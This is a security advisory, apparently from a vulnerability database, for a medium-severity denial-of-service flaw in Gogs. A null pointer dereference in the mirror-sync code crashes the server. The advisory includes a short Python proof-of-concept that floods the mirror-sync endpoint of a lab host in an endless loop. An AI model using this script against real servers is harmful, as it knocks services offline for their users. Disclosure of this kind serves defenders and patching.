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GHSA-cr88-6mqm-4g57

MediumCVSS 6.5 / 10
Published Feb 6, 2026·Last modified Feb 19, 2026
Affected Components(0)

No affected components available

Description

Summary

An authenticated user can cause a DOS attack. If one of the repo files is deleted before synchronization, it will cause the application to crash.

Details

If GetMirrorByRepoID fails, the error log dereferencing null pointer. This happens if the repository no longer exits. https://github.com/gogs/gogs/blob/4cc83c498b6ae59356a04912d68a932165bad5e6/internal/database/mirror.go#L333-L337 if err != nil m is alwasa nil https://github.com/gogs/gogs/blob/4cc83c498b6ae59356a04912d68a932165bad5e6/internal/database/mirror.go#L269-L278

PoC

Spam mirror-sync on repo and delete this repo code python spam mirror-sync

import requests

url = "http://gogs.lan:3000/superuser/gobypass403/settings"
headers = {
    "Cookie": "lang=en-US; i_like_gogs=fe32281ab84ae868; _csrf=UCw6xvqR-L7YLBMPjujwjywxy8s6MTc2NDc3NDQ2NDE1MzU5ODQ3Mg",
}

data = {
    "_csrf": "UCw6xvqR-L7YLBMPjujwjywxy8s6MTc2NDc3NDQ2NDE1MzU5ODQ3Mg",
    "action": "mirror-sync",
}

while True:
    print("syncing")
    response = requests.post(url, headers=headers, data=data)

Impact

Denial of Service server crash.

Risk Scores
Base Score
6.5

The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker needs basic access or low-level privileges. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a high impact on the availability of the system.

Threat Intelligence
6.0

Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.

EPSS
0.34%

The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

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